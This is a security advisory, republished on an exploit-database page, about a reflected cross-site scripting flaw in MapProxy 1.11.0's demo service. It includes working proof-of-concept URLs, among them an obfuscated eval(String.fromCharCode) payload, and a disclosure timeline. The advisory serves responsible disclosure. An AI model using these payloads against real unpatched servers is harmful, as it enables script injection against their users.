MapProxy 1.11.0 Cross Site Scripting - CXSecurity.com

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1695618 漏洞类型
发布时间 2019-08-08 更新时间 2019-08-08
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2019080029
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
[waraxe-2019-SA#110] - Reflected XSS in MapProxy 1.11.0
================================================================================

Author: Janek Vind "waraxe"
Date: 07. August 2019
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-110.html

Target description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

MapProxy is an open source proxy for geospatial data. It caches, accelerates and
transforms data from existing map services and serves any desktop or web GIS client.

https://mapproxy.org/

Vulnerable version: 1.11.0
Fixed version: 1.11.1

###############################################################################
1. Reflected XSS in demo service
###############################################################################
 
Reason:
  * Insufficient sanitization of user-supplied data
Attack vector:
  * User-supplied GET parameter "format"

Testing for Reflected XSS:

https://valid.host/demo/?wmts_layer=valid_layer&format=png"foo'bar&srs=valid_srs

Hostname, "wmts_layer" and "srs" must be valid.
Let's look at the HTML source:

------------------------[ source code start ]----------------------------------

<input type="hidden" name="format" value="png"foo'bar">

------------------------[ source code end ]------------------------------------

We can see that double quote character from GET parameter "format" is not sanitized
by MapProxy and this allows us to "break out" from HTML input element.
Unfortunately for attacker it's hidden input element and this kind of XSS issues
are hard to exploit:

https://portswigger.net/blog/xss-in-hidden-input-fields

But it appears that there is one more injection point:

------------------------[ source code start ]----------------------------------
var layer = new OpenLayers.Layer.WMTS({
name: "valid_layer",
url: '../wmts/valid_layer/{TileMatrixSet}/{TileMatrix}/{TileCol}/{TileRow}.png',
layer: 'valid_layer',
matrixSet: 'GMC',
format: 'png"foo'bar', <--- Injection point
isBaseLayer: true,
style: 'default',
requestEncoding: 'REST'
});
------------------------[ source code end ]------------------------------------

As seen above, MapProxy fails to sanitize single quotes too and this allows us
direct JavaScript injection.

Working XSS PoC:

https://valid.host/demo/?wmts_layer=valid_layer&format=png'-alert('XSS')-'&srs=valid_srs

It's worth to mention that XSS payload length is probably limited only with URL
max length and test with 1000 byte long payload was successful.
One more thing - Chrome web browser has built-in XSS countermeasures, but this exploit
works even with Chrome.

And of course it's possible to use more sophisticated XSS payloads:

https://valid.host/mapproxy/demo/?wmts_layer=valid_layer&
format=png'-eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))-'&srs=valid_srs

Disclosure timeline:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
12.07.2019 -> First email sent to developers
12.07.2019 -> Got first response from developers
12.07.2019 -> Sending detailed information to developers
06.08.2019 -> Found problems are fixed, new version available
07.08.2019 -> Waraxe advisory released
 
Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
come2waraxe@yahoo.com
Janek Vind "waraxe"
 
Waraxe forum:  http://www.waraxe.us/
Personal homepage: http://www.janekvind.com/